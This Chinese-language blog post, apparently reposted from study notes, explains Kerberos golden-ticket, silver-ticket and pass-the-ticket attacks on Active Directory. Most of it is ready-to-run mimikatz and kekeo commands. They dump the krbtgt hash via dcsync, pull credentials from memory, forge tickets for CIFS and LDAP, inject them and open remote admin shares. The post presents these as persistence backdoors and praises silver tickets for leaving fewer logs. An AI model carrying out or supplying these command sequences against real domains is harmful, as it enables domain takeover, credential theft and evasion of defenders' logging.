0x00 背景
票据传递攻击(PTT) 是一种使用kerberos票据代替明文密码或N T L M哈希的方法
mimikatz提供不需要本地管理员权限进行横向渗透的方法,实现未授权访问,如Pass The Ticket
TGT(Ticket Grabting Ticket):由AS身份认证服务提供的票据,用于身份认证,存储在内存中,默认有效期为10小时
AS,是KDC的组件之一,处理初始请求并负责发出T G T给client,用于完成对Client的身份验证
TGS(Ticket Granting Service):由T G S服务提供的票据也称为白银票据,用于发出所有请求的服务的票据
TGS是kdc组件之一,从as哪里拿到tgt之后,tgs再发出对某个特定服务或服务器访问的ticket,这个ticket允许对某个服务访问
0x01 黄金票据利用条件
- 伪造的域管理员用户名
- 完整的域名
- 域 sid
- krbtgt的ntlm hash或aes-256值
krbtgt用户是愉域自带用户,被K D C所使用,属于Domain Admins组
在域环境下,每个用户帐号的票据都是由krbtgt用户所生成的,因此如果知道了krbtgt用户的N T L M H A S H或者A E S-256值就可以伪造域内任何用户的身份了
0x02 白银票据利用条件
- 域名
- 域sid
- 目标服务器的F Q D N 即完整的域名
- 可利用的服务
- 服务账户的N T L M哈希
- 伪造的用户名即任意用户名
0x03 票据伪造原理
黄金票据
A S确认Client端登录者用户身份
K D C返回的Msg B:使用T G S密钥(KDC HASH/KRBTGT用户N T L M H A S H)加密的T G T,当我们获取到krbtgt用户的ntlm哈希后,便可主动使用krbtgt用户的ntlm哈希做为tgs密钥来生成tgt发送给kdc,这样kdc如果通过解密伪造的[CLIENT/TGS SESSIONKEY]可以成功解密Authenticator 1并完成与T G T中的数据对比,便成功伪造了黄金票据
白银票据
client向ssservice server发送服务请求
客户端向服务器发送的为使用S E R V I C E密钥(服务器的N T L M H A S H)加密C L I EN T-T O-S E R V E R T I C K E T Ticket中包含用来供服务器解密Authenticator 2的C L I E N T/S ER V E R S E S S IO N K Y。如果获取到了service server的ntlm hash,便可伪造ticket,和authenticator 2,service server在接收到Ticket和Authenticator 2后可以使用自己的N T L M H A SH正常解密完成比对,也就是成功伪造了白银票据
all in all
- 黄金票据或者白银票据需要拿到krbtgt或者server用户的hash,故只能为后门所用
- 白银票据利用之后没有日志,比黄金票据更好
- Service Hash是目标中一个用户名与hostname相同的用户的hash,如hostname为P C-W I N7的服务器,对应的Hash就是Username:P C W I N7$的Hash
0x04 黄金票据利用
- 导出krbtgt的N T L M H A SH
lsadump::dcsync/domain:sec.com /user:krbtgt
该命令使用的dcsync功能远程转储ad里面的ntds.dit 使用/user参数,可以只导出指定用户的值
或者使用以下命令获取krbtgt的ntlm hash,域sid值,但该命令无法获取aes-256的值
privilege::debug lsadump::lsa /path/user:krbtgt
- 获取基本信息
获取域S I D
wmic useraccount get name,sid
获取当前用户的sid
whoami /user
查询域管理员账号
net group "domain admins" /domain
查询域名
ipconfig /all
- 制造黄金票据
先将票据清空
kerberos::purge
生成票据
kerberos::golden /admin:Administrator /domain:sec.com /sid:当前域的S I D /krbtgt:krbtgt的N T L M H A SH /ticket:Administrator.kiribi
传递票据并注入内存
kerberos::ptt Administrator.kiribi
0x05 白银票据利用
伪造G I F S服务权限
G I FS服务常用于windows主机之间的文件共享
首先使用mimikatz获取服务器账户的N T L M哈希
mimikatz log "privilege::debug" "sekurlsa::logonpasswords" exit
得到H ash后,清空当前系统中的票据,防止其他票据干扰
klist purge kerberos::purge
使用mimikatz伪造白银票据
mimikatz "kerberos::golden /user:t /domain:sec.com sid:xxx /target:dc /rc4:xxxx /service:cifs /ptt" exit
伪造L D A P服务权限
首先判断当前权限是否可以使用dcsync域控进行同步
mimikatz "lsadump::dcsync /dc:dc /doamin:sec.com /user:krbtgt" exit
如果返回error说明当前权限不能进行dcsync操作
接下来生成L D A P服务的白银票据
mimikatz "kerberos::golden /user:t /domain:sec.com /sid:xxxx /target:dc /rc4:xxx /service:ldap /ptt" exit
0x06 使用 mimikatz 进行票据传递
使用mimikatz(管理员权限)将内存的票据导出:(运行以下命令会在当前目录生成多个服务的票据文件)
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
从中选择一个目标系统自己的,移动到黑客机器上。
将票据文件注入内存:
mimikatz "kerberos::ptt "[0;4ee98c]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi"
将最高权限的票据文件注入内存后,将列出远程计算机系统的文件目录:
dir \\192.168.3.25\C$ 遇到密码错误的问题那么我们把IP换成目标主机名: dir \\mary-pc\c$
票据传递比哈希传递更方便,更实用,成功率更高。
如果要清除内存中的票据使用mimikatz运行下面的命令:
kerberos::purge
0x07 使用 kekeo 进行票据传递
kekeo 需要使用域名、用户名、NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机。
域名:god.org 用户名:administrator NTLM Hash:ccef208c6485269c20db2cad21734fe7
也就是在目标机器上运行下面的命令,只需要普通权限就可以!
kekeo.exe "tgt::ask /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7"
这个时候会在当前路径下生成一个票据文件:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
之后把这个票据文件移动到黑客的机器上,在黑客机器上使用 kekeo 输入命令将移动的票据导入内存:
kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
这个时候就可以使用 dir 命令,列出远程主机中的文件:
dir \\OWA2010CN-God\c$ PS:使用 dir 命令时,务必使用主机名,如果使用 IP 地址,就有可能导致错误。
0x08 两个票据的区别
- 白银票据不经过kdc,因此白银票据日志比黄金票据日志少,日志都在目标服务器上,不在域控
- 白银票据利用服务器账号的hash,不同于黄金票据利用krbtgt账号的hash,因此白银票据更加隐蔽,但权限不如黄金票据
0X09 引荐
因为很多都是理论性的东西,笔记也不愿意翻,突然看到好朋友yanmu的笔记了,拿过来分享一下
转载请注明:Adminxe's Blog » 权限维持之关于黄金与白银票据